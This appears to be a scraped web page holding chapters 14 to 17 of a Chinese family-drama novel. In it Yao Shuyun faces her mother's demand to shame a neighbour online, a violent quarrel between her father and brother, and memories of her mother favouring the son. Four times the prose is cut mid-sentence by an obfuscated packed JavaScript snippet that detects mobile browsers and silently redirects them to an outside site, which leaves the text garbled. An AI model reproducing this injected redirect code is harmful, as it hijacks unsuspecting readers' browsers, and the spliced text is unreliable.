“这……没太大事儿!”母亲闵佳荣打断姚舒云的话,“你先告诉我,能不能曝光他?他家欺负人,绝不能放过他!” “当然能曝光啊!现在短视频这么流行,把他打你的图片、视频都发到网上,他们的恶行就能被曝光!对了,你有没有拍下证据,就那些图片或视频什么的?” “那,那没有……当时都在房顶上打架呢,谁顾得上拿手机?” “那,哦,对了,不是有报警吗?有没有出警记录或者警察出具的证书什么的?这样也能有说服力,不然光凭几段文字或嘴上说说,可能没啥人信。” 闵佳荣支支吾吾,不知道是不想说还是说不清。 “那,要么你去医院先验下伤,这个记得一定要留好证据,把伤口,或者医院拍的片子,以及医生的诊断都保存好……” “哎呀,不用去医院。”闵佳荣显得不耐烦,“你就把他曝光,把他家的恶行发到网上,让全国老百姓都看看瘸腿一家是怎么欺负人的。” “那……啥都没有,我咋……咋曝光?” “你,你就写文字,写文章描述这个打架的事儿,然后发到网上曝光他。”闵佳荣似乎在克制情绪。 “那……也可以。”姚舒云有些为难,不过她还是想竭力帮助母亲,便说:“你说下事情经过,我大致了解下,然后写成文章,把这个事情全部描述出来,再曝光到网上。” 闵佳荣开始断断续续地讲述事情经过:因为隔壁家先前同意过自家将院墙往他那边砌一点,后来又反悔不同意了。而且还霸道地不允许自家房屋顶部高度不允许超过他家……两家人在房顶上打架,瘸腿男人用棍子捣我,我用砌墙的泥瓦刀砍他…… “啊?为啥同意了又反悔,这也太没信誉了。还有什么屋顶高度,各家盖各家的,咋就不允许你盖?打架,是谁先出手的?警察来了,怎么说的?”姚舒云一边问,一边认真记录,她尽力想将事情描述清楚。 “同意,这个是先前你爸跟他打过招呼,他们家同意……哎呀,你就按照我说得那几句话写,把瘸腿男人的恶行曝光!”闵佳荣似乎已经很不耐烦,大声说道。 “那,那我得了解清楚……” “啥清不清楚的,就是这个事儿:瘸腿男人打我了,把他恶行曝光!”闵佳荣一板定音,“你就按照这样写,然后发到网上曝光。” “嗯,好,行。那我发短视频上吧,那里流量大,看得人多。” “那老家的人能看到吧?主要是给老家这儿的人看,让大家都知道瘸腿死男人的恶行。” “嗯,全国都能看到,老家那边肯定也能看到。” “你老家有没有同学或朋友,在咱这本地做记者或者什么报社行业,这样可以更有针对性,专门曝光瘸腿男人。” “那,那我没有……”姚舒云感到有些局促,但又不得不诚恳地说:“我大学学的不是新闻行业,老家我也没有认识的同学或朋友……” “那你大学不是白上了吗?供你读书也没什么用啊?!!”闵佳荣像是终于忍不住,讥诮不已道:“哼,亏你还上了这么多年学,啥用没有啊!” “那……你想让我有什么用呢?”姚舒云钝钝地、慢慢地反问道。 电话那头沉默。 这一刹那,姚舒云不知心里是何种滋味,她觉得母亲似乎是把自己当做通天的神了,遇到问题,以为姚舒云可以“翻手为云覆手为雨”,打个电话,就有“人脉”过来帮助解决。 曝光隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404821|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁瘸腿男人的恶行,好让她丢了的面子和里子统统捡回来,扬眉吐气。 可是,天哪,她哪有什么能力?!! 姚舒云甚至讥诮地想:自己不过是勉强上了个三本,稀里糊涂读了个事前不了解事后也压根不喜欢的专业,浑浑噩噩,过了4年。 毕业后费尽辛苦找到一份工作,刚开始工资低,转正后也才3千块。她还有将近一万块的助学贷款没还,因此第一年节衣缩食终于把这钱全部还上了。 第二年工资涨了,差不多有4千块,刚领到工资不久后,便被母亲索要2万块,美其名曰上大学时花销的‘回本费’。 那时一个月4千多的工资,除了每个月给母亲分期还款的2千,剩下的用于吃喝,再加上偶尔买点衣服,基本上所剩无几。 一些大件的手机、电脑等电子产品,还是当时作为男朋友的周豫林买给她的。 再之后,她终于开始能存钱,可周豫林家贫,家里无法为他购买房产,因此只能是她和周豫林两人努力存钱买房…… 终于买了房,又要开始还房贷…… 姚舒云轻叹了一口气,以上这些虽然都是事实,可也的确是自己没什么本事:既没有能力挣大钱,也没有能力认识通天的人脉。 因此没能帮上母亲,她不由自主地感到一阵惭愧。 正当她为没能帮上母亲而心生歉意时,谁知好一会儿没说话的闵佳荣,突然说:“你看那姚天华,人家咋那有本事。你再看看你,哼,还大学生呢?有啥用啊!!” 光是听语气,姚舒云就能清晰地想见到母亲此刻的白眼怕是要翻上天去。 忽然,一个念头蹦入脑中,姚舒云有些后知后觉地意识到:母亲只怕是未必真的想要曝光什么,不过是在外受了屈辱,想要把这份气撒出来,而自己就是那个人选。 这一刻,姚舒云心里有说不出的委屈和愤懑,亏得先前她还对母亲羞愧,原来母亲只是想要羞辱她。 想到这一点,姚舒云的语气顿时变得轻佻:“那你想要我有什么用呢?嗯?你说。” 闵佳荣不语,姚舒云继续道:“姚天华当局长,是很有本事,可那是什么时候?二十年前了,那个时候学历值钱,现在……呵呵。隔壁家跟我一起玩到大的姚翠,她姐弟三个都上了大学,他们有当局长的吗?我弟,你儿子,没考上大学被你花钱硬买上学了,他也上了大学,虽然是专科。他当局长了吗?” “你看看四周,跟我差不多同年龄段的,有多少个上过大学,又有几个当局长了?即便不当局长,他们有什么别的通天大本领吗?” 闵佳荣不吭声,姚舒云继续问:“除了让我多上几年学,给我交了3年大学学费,因为最后一年是让我自己贷款交的,你给过其他任何帮助吗?你有帮我介绍过人脉,教我社会常识吗?有出过钱让我学技术或者其他深造吗?” “我还突然想到,咱村里跟你们同时期出来打工的姚志安,人家可都成为本村首富了,资产好几百万。你们呢?咋混的,怎么还是个打工的呢?” 姚舒云一边说,一边在心里无情地唾弃自己:父母已然供自己上大学了,自己没混好,是自己没本事。怎么还反过来嘲笑父母呢? 可感情上她就是控制不住。她这才发现,自己竟然也有那么恶毒刻薄的唇舌,不知是否与生俱来。 “如此看来,我们可当真是亲母女呢。” 姚舒云手里仍抓握着手机,自言自语念叨,随后忍不住失声大笑起来。 而电话那头,母亲早已挂断电话。 15. 全职妈妈 上次那通电话结束后,母亲很久没再联系她,姚舒云从姐姐姚燕那里断断续续了解到事情始末。 原来和隔壁家闹矛盾,自家有很大一部分原因。 起先盖房时占用了一点人家的宅基地,本来这宅基地父亲姚志高问过那家人,那家人当时是同意的,后来不知怎么不同意了。 为这事儿两家闹到村委会,最后调解赔偿了人家1千块钱。 后面房子地基、框架都盖好了,轮到院子装大门时,隔壁家死活不同意装,理由是她家的大门门框高于自家。 原来当地有个不成文的规定:那就是如果两家是联排的房子,那么两家的门头要一样高,否则就是看不起对方,想要压迫高人一头。 也不知母亲闵佳荣到底是不了解这个不成文的规定,还是有意为之,总之,她家院子的大门,门头足足高出了对方两块砖头的高度。 为此隔壁瘸腿男人的父亲,一个将近90岁的老头,坐在了闵佳荣家的大门口上,阻止安装大门的工人进行。 老人说什么也不肯起来,旁人也不敢上前硬拉他,试想谁敢贸然碰一个行将就木的老人? 百般无果下,闵佳荣只得妥协,暂停大门安装,又不得已将原先大门门洞的高度调整和隔壁家一致,最后才将裁切过的大门勉强装上。 事虽已解决,两家心结却彻底结上。 闵佳荣想将自家这边院墙上搭个沿,以防雨天溅水,在施工时,再次因院墙墙体高度和邻居家吵得不可开交,最后甚至大打出手。 瘸腿男人用拐杖将闵佳荣新砌的高出一截的砖头捣掉,闵佳荣气不过,拿起一侧泥瓦刀,对着瘸腿男人挥砍。 …… 最后有人报警,警察来将闵佳荣带走,瘸腿男人被送进医院。 其实母亲拿的是砌房子的泥瓦刀,没有太强攻击性,而且她也未必真的敢砍人。不过是一时气愤,行为失控。 瘸腿男人却自恃身残,借口被砍的伤口太重,躺在医院里百般不出来。 明眼人一看就知道他想要钱。 对方是一生未婚配、无儿无女、身有残疾的老光棍,怎么说都处在下风。 他要不肯出院,谁也拿他没辙。 最后闵佳荣为了不坐牢,也为了少赔点,不得已再次向对方妥协,同意索赔,以及支付全部的医药住院费。 至此,事情才算最终解决。 从此两家相见分外眼红,据说上一年全家回去过年时,刚打开门进屋,隔壁家人冲出来,跟父亲骂起来。 紧接着,两家人都出来,各自站在自家门前,冲对方家大声叫骂…… “你都不知道,听我婆婆说,当时里里外外围了好几圈人看热闹。你想啊,大过年的,别人都从外地回来,可不人多嘛。哎,这事儿,据说是临近好多个村子都知道了,闹得沸沸扬扬,不可开交。”姚燕声色生动地向妹妹姚舒云描述当时状况。 “难怪……” 姚舒云失神地想,难怪母亲心里那么多火,事情的确是让人挺窝火。 “可……可这就要把气往我身上撒吗?” 姚舒云哑然失笑,她摇摇头,一方面为自己没能成为有本事的人为母亲“出气”而觉得惭愧,一方面又觉得自己不该承受来自母亲的屈辱和嘲讽。 思来想去,姚舒云也理不出什么头绪。 她忽而自暴自弃发疯似地想,“如果我真的能成为‘翻手为云覆手为雨’的大人物该有多好,轻轻松松三两句话帮我妈摆平所有事,这样她就不会受气也不会窝火了。呵呵……” 一番纠结斗争下,最后,姚舒云只能自我安慰道:“总之,她也是有苦衷的吧。我应该体谅她。毕竟身为儿女,没能帮她撑腰,是我的无能。” “咱妈还指着你帮她曝光这件事,好让她出气呢,结果,你也没啥用。嗨,你大学也白上了。” 许是私底下母亲跟姐姐多次抱怨过“姚舒云没什么本事”,因此,自然而然地,耳濡目染地,姐姐姚燕竟也学会了和母亲一模一样的腔调。 就连不经意间流露出的讥讽都那么相似。 姚舒云哭笑不得,又刻意认真地问:“姐,你之前说你们老板娘比你还小两岁,对吧?人家都开保时捷、办大工厂了,怎么你还只是一个小小的工人呢?虽说你没上过大学,可你出来打工比她早啊,人家都混到这么大老板了,你咋还只是一个打工的呢?” 姚燕是直性子,说话做事一向大大咧咧,她未必是真的要嘲讽妹妹,只不过是跟随母亲久了,就学会了母亲的腔调。 这才后知后觉地反映过来,自己说话有些冒失了,当即有些讪讪地,不好意思说道:“那能比吗?不一样儿。算了,我还有活儿要干,你忙孩子去吧。挂了。” 挂了电话,姚舒云握着手机,有些后悔。她不知道自己为什么要说那些话。 姚舒云忽然隐约地感觉到,自己家里人为什么会这样?是不是不对?为什么有事情了大家都是互相指责怨怼,似乎从来没有人想认真地解决一件事情。 她感到脑子里有一团乱麻,她想理清,却发现杂乱无章,根本没法下手。 这天,姚舒云竟罕见地接到了父亲姚志高打来的视频电话。 “你咋不过来玩啊?带着孩子过来住段时间。你又没婆婆,也没人搭把手,一个人带孩子,饭都吃不到嘴里噢。把孩子带过来住几天,让你妈帮你一起带带孩子。” “哦,我是想过去……” “那就来啊。是不是觉得这家没你家住得好?你放心,来这儿你也照样吃,照样睡哩。” 姚舒云赶忙否认:“当然不是啊!我是想去呢,不过怕孩子小,哭哭闹闹,打扰你们休息。尤其我弟和弟媳妇,他俩有时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404822|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要上夜班,有孩子在,白天怕休息不好。” “没事儿,嗝~”视频那头,姚志高将喝完啤酒的杯子放下,手拿一根牙签,满意地剔着牙齿,含混地说道:“你尽管来。你妈……嗝……在家又没啥事儿,不帮你带带孩子……嗝……干啥?至于你弟他两口子,你管他呢,你尽管来住。” 姚志高信誓旦旦地拍着胸脯,姚舒云看到母亲也在电话那头脸含笑意,两人许是刚喝过酒,心情都很不错。 挂完电话,姚舒云立刻给丈夫周豫林发信息,告诉他自己想去C市母亲那儿住几天。 得到肯定答复后,姚舒云立刻开始动手收拾行李,她将孩子的衣服、奶粉、尿不湿……林林总总,细细碎碎,塞满一大箱子,又拿几件自己日常穿的衣服,塞进去。 她自己都没意识到,心情是有多么惬意,姚舒云已经开始不受控制地想象去了母亲那里后的生活场景。 几乎是迫不及待等着周六赶快到来,这样,丈夫就能从外地回来,开车将她和孩子送过去。 姚舒云竭力想控制,可她实在控制不了自己一颗雀跃欢腾的心。 “也算是30多岁当妈的人了,怎么还跟个孩子似地?”姚舒云一边摇头,一边笑话自己。 可她就是没法忍住不开心。 很快,她就如愿去了父母所在的C市,当然临去之前,姚舒云早早地将烟、酒、饮料、水果等礼品备好。 以前做这些她觉得很不好意思,可自从一次去三姨家做客时,她两手空空,笑靥如花地跟三姨说:“你看,我就啥都没带。” 因为前一秒,三姨还“责备”姐姐姚燕,“来就来,还带啥东西啊?!” 听到这句话,三姨再转向姚舒云时,脸上瞬间面无表情,冷如冰霜,眼神直接从她身上扫过。整一个无视。 可明明,在她刚刚“责备”姐姐时,是笑得那样开心。 那一刻,姚舒云觉得自己真是蠢透了,她怎么会那么天真无知,连基本的社交礼仪都不懂。 “别人说让你过来别带东西,你就真的不带了吗?” 姚舒云在心里念叨,恨不能给自己两个大嘴巴子,好让自己别那么愚蠢透顶。 那顿饭,她吃得心惊胆战,觉得自己像个上门乞讨的乞丐,无耻地白白吃别人的饭菜。饭桌上,别人施舍给她夹一筷子菜,她都诚惶诚恐地接受,为此更加忐忑难安。 至此,她再也不敢大意,不管是去到谁的家里,必会带上礼品,哪怕至亲如姐妹兄弟,和亲生父母,也会将礼品备齐。 “毕竟,有谁会嫌礼少呢?” 后来她在某知识分享平台上无意间看到这句话,顿觉恍然大悟。 开始慢慢了解所谓的人情世故,等她越了解越觉得自己的浅薄和无知,她感慨自己的成长竟来得如此之慢。 当真是个晚熟的人。 16. 家人(1) 再见面时,母亲闵佳荣脸上并没有什么不快的表情,而扪心自问,姚舒云对她也心无芥蒂。 她总是在想:“这是母亲,是妈妈,难道真因为她一两句话我就要生很大的气,就再也不理了吗?” 姚舒云做不到。 她总是情不自禁地类比,“如果有一天小团团跟我也闹了矛盾,难道就互不理睬了吗?” 她想起母亲和姥姥之间的爱恨纠葛,两人一度有长达十多年都没见面说过话。 起因是姥姥和姥爷争吵,以致姥爷气愤,一时想不开喝了毒药。此生最敬爱的父亲离世,闵佳荣对亲妈的怨恨简直直达天际。 几年后关系缓和了些,但姥姥外出打工时,又领回来一个年轻男人同居。 一时间,闵佳荣沦为天下笑柄。 至此后她再也不肯见自己的母亲,而她是姥姥第一个孩子,姥姥疼她至深。直至最后姥姥临终前,母亲才难得的展现几许温情。 “或许,母爱是一场轮回的辜负。”姚舒云在心里不禁叹道。 可是,她想不明白,母女之间,本应是关系最亲密之人,为什么往往会闹得不可开交? 按理说她们同性别,不是更应该能站在对方的角度感同身受吗? 可结果却往往……事与愿违。 姚舒云不愿意看到以后长大成人的小团团也对自己不满、怨怼,因此她总是极尽可能地去理解、包容母亲。 理解她的苦、累和难,包容她一时的任性和口不择言。 “呵呵,也许以上统统都只是借口,说不定只是因为我比较懦弱,不想也不敢同任何人翻脸吧。”姚舒云自嘲地想。 她和母亲正常说话聊天,两人闭口不提先前的那通互嘲电话,仿佛根本就不存在过。 “也或许这就是血脉亲情。”姚舒云心里想,对母亲的依恋又多了几分。 侄女梦梦是个古灵精怪、聪明活泼的小女孩儿,她在幼儿园里出类拔萃,总能得到老师的表扬。 而且小姑娘能言善道,很有凝聚号召力,身旁往往聚拢一大帮孩子,呼呼啦啦,走哪儿都一大群人围着,俨然一个小女王。 她是家里的开心果,所有人都很喜欢她,姚舒云悄悄观察,觉得母亲闵佳荣也很喜欢这个孙女,照顾得很细心。 全不见刚出生时的嫌弃。 谁能料到其乐融融并没维持太久,仅仅是两天后,家中就爆发了激烈冲突。 这天晚饭,闵佳荣炖了骨头汤,又炒好几个菜,摆在桌子上,等儿子儿媳下班回来后大家一起围坐着吃饭。 饭后,她对姚舒云说:“没什么事儿,我来抱会孩子。来了这几天,我天天有事儿忙,还没怎么抱过呢。” 说着,接过姚舒云手里的小团团。 姚舒云得了空,在大门前空地上教侄女梦梦骑自行车、玩滑板。 几人正玩得高兴,忽然屋里传来“噼里啪里”一阵脆响,紧接着,是暴喝大骂声响起。 “我打死你个死孩子!” “来来来,你打,你往这儿打!” 姚舒云和母亲赶紧冲进屋里,见父亲姚志高咬牙切齿,一身怒气,他手里举个酒瓶子,作势要打。 而弟弟姚鹏飞则站在他面前,用手指着自己的头,说:“来,你打,你往这儿打。你砸,你使劲砸。来,赶紧。” 地上一片狼藉,面条四处飞溅,碎碗残片到处都是。 眼见父亲气得浑身发颤,理智已然到了崩溃边缘,只要稍一失控,后果不堪设想。 姚舒云赶紧挡在两人之间,对着弟弟大声说:“鹏飞,你干什么?!!干嘛惹咱爸生气?!!” “我惹他生气?呵呵,你问问他,这个老东西是怎么对我的?”姚鹏飞手指父亲姚志高,怒声道:“整天嫌我没本事,看不起我。我好心帮你下面条,你还嫌来嫌去。哼,你倒是有本事,不也混成这个样儿吗?” “我怎么嫌你了?我就说了句,‘下面条要用筷子搅动下’,你鼻子不是鼻子,眼不是眼,嘴里还叫叫骂骂。”姚志高声调太高,几乎都破了音。 他又摊开双手使劲抖动,满心满眼皆是委屈,“我是你老子,你有一点尊重吗?” “嫌我下得不好,你自己下,我不伺候了。你倒好,举起碗就地上摔,可真有本事。还想来打我?哼,有种往我头上砸,来,使劲,别客气。”姚鹏飞一脸地混不吝,眼中全是鄙夷之色。 姚舒云将弟弟连推带攘地往外推去,“咱爸有高血压,气出个好歹咋办?你先出去冷静一会儿。” 好说歹说,他才肯挪动双脚。 谁知路过母亲闵佳荣身旁时,姚鹏飞忽然站住,用手指着她,恶狠狠道:“还有你这个老东西,自己在老家盖房子受了气,反而把气撒到我身上。打电话怪我没本事给你出气。” 他又将手指向父亲姚志高:“你怪他没事就行了,你还非要再来怪我。哼,一个二个都皮痒不想活了,哪天这家里迟早得倒下一个。哼,不信,咱走着瞧。” 说完,嘴里叫叫骂骂地走出门外。 闵佳荣脸上讪讪地,尴尬不已,姚舒云这才知道,原来母亲在打电话羞辱她前,还分别找过父亲和弟弟。 此时,天已擦黑,只有模糊的余光透过蒙了层塑料布的窗户照进来。 姚舒云看见父亲一脸死寂,他仍保持先前站立的姿势,眼里满是痛心、委屈、愤怒、又夹杂了许多的无奈和茫然。 “哎,我就说,他年轻,说点啥你别往耳朵里听,管他怎么嘴里不干净,他就那个死样儿。你一个当老的,还非要跟他较真。”闵佳荣扯了扯嘴角,冲丈夫不屑道。 “我他妈,”姚志高忽然拿起一旁垃圾桶,冲过来就要往闵佳荣身上砸,这时姚舒云突然大叫一声,“啊?不要!” 女儿小团团还在母亲怀里,这要砸下来,后来不堪设想,她的心简直跳到了嗓子眼。 还好垃圾桶在离闵佳荣头上一拳的地方硬生生停下了,姚舒云赶紧抱过女儿,惊魂甫定地将她紧紧搂在怀里。 随后冲父亲大叫:“爸,你干啥啊!快放下。” 说着不由分说从父亲手里夺下垃圾桶。 “有啥话不能好好说,非要打打砸砸的!” 姚志高满身怒气无处发泄,突然,他大叫一声“啊!!!”拿过身旁桌子上一只装了面条的碗,高高举起又重重摔下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404823|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啪”地闷重声响起,地上顿时又添一片狼藉。 “啊呀!”姚志高发出重重叹息声,随后坐倒在椅子上,“我咋那么该死哦,生了这么个死玩意儿。我咒他短寿!” “哼,诅咒都报应到你身上,要短寿也是你。”闵佳荣小声地说道,她很迷信,也很爱自己的儿子,她是绝不允许有任何所谓诅咒应在儿子身上。 天已经完全黑下来,姚舒云拉开灯,找来扫把和簸箕,收拾一地狼藉。 父亲坐在里屋床上,没开灯,一根接一根地抽烟,不时唉声叹气,抓头挠腮。 火光一明一暗,照出他紧缩的眉头和痛苦的神色。 母亲坐在桌前椅子上,对着身旁的姚舒云,连声诉苦:“哎呀,那个死鬼孩儿哟,脾气是真差啊!我都不知道他脾气咋能那么坏。话一说得不对劲儿一点,就立马嗷嗷叫,不是嚷嚷骂骂,就是摔摔打打。” “他小时候脾气就很差,我跟你说过,你当时还指责我‘为啥不能让让他’。”姚舒云说。 随后她想起多年前的那天,临近晚饭前,母亲正在厨房案桌前擀面条。 姚舒云从外进来,对母亲说:“妈,你管管鹏飞吧,他实在太可恶了,对我不是打就是骂。” 母亲背对着她,仍没停下手上动作,姚舒云以为母亲没听见,就又说了一遍:“妈,你管管鹏飞吧,他总是胡乱打骂人。” “妈。” “妈?” “妈??” 一连叫了3声,闵佳荣才转过脸来,她紧抿嘴唇,用力地剜了姚舒云一眼,又极力地克制语调:“你不会让让他吗?” “哎,为啥我让他啊?谁有理你帮谁,谁不对你说谁,我为啥要让他啊?”姚舒云满是不解。 闵佳荣不再吭声,转过脸去继续推动擀面杖,随后又转过脸来,看着姚舒云,阴冷冷地来了句:“就你,还想跟他比?” “哈。”姚舒云不禁笑了下,随后郑重地问:“我咋就不能和他比呢?” “嗯?为啥我不能和他比呢?” “你说啊,你说说为什么我不能和他比?” …… 姚舒云站在闵佳荣身后,不怕死地连声追问,这次闵佳荣没再回头,只低头擀面条。 回忆渐渐散去,姚舒云心里翻出一股酸涩,她茫然地看着前方,似乎看到了年幼时的自己,是如何孤独、无助、受尽歧视。 不禁咛喃道:“如果小时候你能多管教他,今天也许就不会这样了。” “啊?我怎么管教他?我一直在外打工,忙着上班挣钱,我有时间管他吗?今天这样还不都是你奶奶宠溺的结果……” “哈,”姚舒云不怒反笑,心里叹道:真是甩锅好手! 奶奶身躯残弱,在家无立足之地,更何谈话语权? 是她自己一意宠惯,才将儿子养成飞扬跋扈、无法无天的性格。不光是年幼时的自己,就连当初村里人都提醒过她不可太宠溺儿子,可她全不当一回事。 及至今天覆水难收,“恶果”已成,她尝到苦涩滋味,没想到仍不反思自身,却反而将这一切推到一个死去的老人身上。 真是可笑至极。 17. 家人(2) 姚舒云无语至极,可就算再无语,她也不能不替死去的奶奶辩驳两句,“你真是欺负老太婆死了沤泥巴了,说不了话了,是吧?你出去打工,是什么时候?是他10岁之后你才真正在外面打工。10岁之前呢,你可是一直待在他身边。小时候,但凡我们姐弟间有争执,你二话不说,永远都是责怪打骂我们。 “出去赶集买了点吃的,那都是你儿子的。他一人霸占所有,心情好了才分我姐俩一丁半点儿,心情不好,看都看不见。” “那蒸的鸡蛋羹,满满一大碗,你给我和我姐一人用小勺子挖一勺,剩下全是他的。” “他在家里,从来什么活儿都不用干。而我和我姐,捡柴、烧火、做饭、洗衣、扫地……所有的杂活儿都要做。就这,你还时不时地骂我好吃懒做、偷懒躲滑,将我羞辱一遍又一遍……” “我说我不留级,你硬逼着我留级,那个下午我在破煤炉上坐着,眼泪都流干流尽了,你还是无动于衷。最后我还是,迫不得已留了级,”姚舒云一时有些哽咽,但仍吸口气,继续说道:“原因仅仅只是为了你儿子可能和别人打架,有可能会受到伤害。咋了?要真打了,是不是把我推出去替他挨刀子,为他挡死?呵呵,你知不知道,我心里有多难过,我这一辈子的好运气都没了。” “你不会知道,知道了你也不在乎。哦,还有那套衣服,从小到大,我都是捡我姐和别人的破衣服穿,大的大,小的小,没一件合身的。就13岁那年,我看见姚翠穿了一套衣服,很想要,跟你开口了,第一次开口。磨了很多很多遍,最后终于买了,却把那衣服甩我脸上……” “你是真没钱吗?我是真的无理取闹吗?一套衣服,二十来块钱,你舍不得,转头给鹏飞矫正牙齿,花了一两万……” 姚舒云摇摇头,不知为何,越说越多。 这些事情,她原本以为自己都忘了,却不曾想,桩桩件件,都记得那么清楚。 自从工作之后,她已慢慢自愈,变得开朗一些。曾经年幼时那些苦闷的日子渐渐远去,内心的创伤、抑郁和悲痛也渐渐平息。 尤其是遇到丈夫周豫林后,她第一次体会到了平等、自由和尊重,以及爱。过去那些晦暗不堪的日子也渐渐忘记。 直到那一天,母亲醉酒后得意洋洋地说出那句“你小时候可怕我,我眼一翻,你立马吓得栗栗抖。” 姚舒云脑子“轰隆”一声巨响,过去的那些被掩盖被埋葬的记忆全部复苏,抖落一身历史尘埃,重新站在她面前,张牙舞爪,血腥恶臭,提醒她,它们从未真的死去。 她不禁审视自己:敏感、自卑、压抑,面上带笑、内心冰冷、无法同任何人靠近。 时至今日,不管是同事,还是朋友,或者是同学,她没有任何一段亲密长久的关系。 她独来独往,走路匆忙,喜欢一个人逛街、吃饭、看电影……同人相处总觉累赘,害怕麻烦别人,更不喜欢别人麻烦自己。 原本近些年,与父母不在同一处,她觉得自己愈发开朗阳光,却不曾想只是学会了伪装而已。 “原来底色荒凉的人,再怎样涂抹粉饰,终究是沐猴而冠,徒增笑柄。”姚舒云摇摇头,在心中轻声叹息。 —— 姚舒云的连番诉说下,闵佳荣脸色肉眼可见地难看。 刚来时对姚舒云或许尚有几分温情,也许是装得,但最起码装了,然而眼下她怕是装也懒得装了。 “啊?怎么回事儿?又吵什么了?我回来时看鹏飞在外面站着,气气骂骂又吼又叫的,到底咋了?”弟媳刘香凤从外面进来,扫视一圈屋里众人道。 “咱爸和鹏飞两个吵架了。” “为啥啊?”她抬眼向里屋看去,见公公姚志高坐在床边唉声叹气,问道:“又为了什么啊?” 紧接着看向姚舒云,一脸不悦道:“为了工资?也不能谁的工资都涨得像周豫林的那么高啊。他搞电脑的,工资高,我们这是当一线工人呢,累死累活也没几个钱。” “啊?还有这一出?”姚舒云一惊,赶忙看向母亲。 原来父母竟私底下反复拿丈夫周豫林的工资和弟弟姚鹏飞做对比。估计是嫌儿子工资不高,骂他不上进没出息。这才惹得姚鹏飞大怒。 紧接着,她进一步了解到,弟弟甚至一度被逼到下了班还要去开网约车,难怪戾气那么大。 “那……我们多难啊。”姚舒云慌忙解释,“没有婆婆,我带孩子上不了班,他一个人挣钱全家四五口人花。” 母亲讪讪地没吭声。姚舒云事无保留地将所有工资收入都悉数告诉了母亲,她原以为母亲会为女儿的生活越来越好而开心,岂不知私下里母亲竟是如此地难受和嫉妒。 拿她与丈夫和弟弟弟媳做对比,姚舒云犹如被掷在火上烤,她俨然又回到了最初。 那时候刚开始工作,挣第一笔钱时,她就给父母各自买了礼物。 父亲有高血压,她买了最新款电子血压仪,母亲颈椎不好,她就买了电动按摩仪以及护肤品、包包和衣服。 哪知随后不久,她就接到了老家大伯打来的电话,说自己血压高,想让姚舒云帮忙在网上买一个血压器,还补充说自己出钱。 姚舒云立刻帮他买了,并说不用给钱,是送给他的。大伯父心满意足地收下。 紧接着,三姨也打来电话,说:“自己脸上有斑,想让姚舒云帮忙买些能去斑的护肤品。” 姚舒云立刻帮她也买了,并说不用给钱,是送给她的。三姨心满意足地收下。 紧接着,姑父也请她帮忙给手机充值…… 姚舒云简直崩溃了,这些都是亲戚,是看着她长大的长辈,她不可能为了几十几百块钱的东西向他们要钱。 可,可她也过得艰难啊! 她理解父母想要到处炫耀的心思,可他们却不能只贪图自己炫耀,而不管自己的死活啊! 姚舒云胆战心惊,跟父母隐晦提了自己的苦衷,结果却仍是无用,甚至一度姐姐和弟媳,也过来请姚舒云帮忙在网上买小孩子的东西。 天哪,她不是大款啊!网上买东西也不是不用钱,可以无限地买买买。 终于她断了给父母买东西的念头,并狠下心厚下脸皮说了句:“钱是钱,情意是情意,以后要分开。” 为此,她又遭受了无数的白眼和唾弃,但总算,那些接连找自己办事的人少了些。 姚舒云擦擦额头汗水,“而且我们还要每月还房贷,你们还能存点钱,豫林的工资几乎月月光,根本剩不下来。” 如此一番解释,弟媳的脸色才好了些。 姚舒云心想,以后母亲再问及工资、钱,什么的,她可不敢再事无巨细什么都说了。她不得不逼迫自己多长个心眼。 原以为这件事情过去,后面就会平顺,她也能安稳在娘家多待两天。 哪知第二天下午,却是她和母亲之间发生争执。 傍晚夕阳染透半边天,姚舒云抱着孩子坐在大门前逗玩,母亲闵佳荣站在院里的晾衣绳前,晾刚洗过的衣服。 她忽然开口,说:“要是刘香凤这胎生的还是个女孩儿,那我就不帮他们带孩子了。让他们自己带,到时候我出去上班挣钱。” 儿媳刘香凤怀孕六七个月,眼看要生了,闵佳荣越发忧心忡忡,她估算生男孩儿的可能性不大,因此才有此打算。 “哦,现在不是还不知道是男孩儿女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404824|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 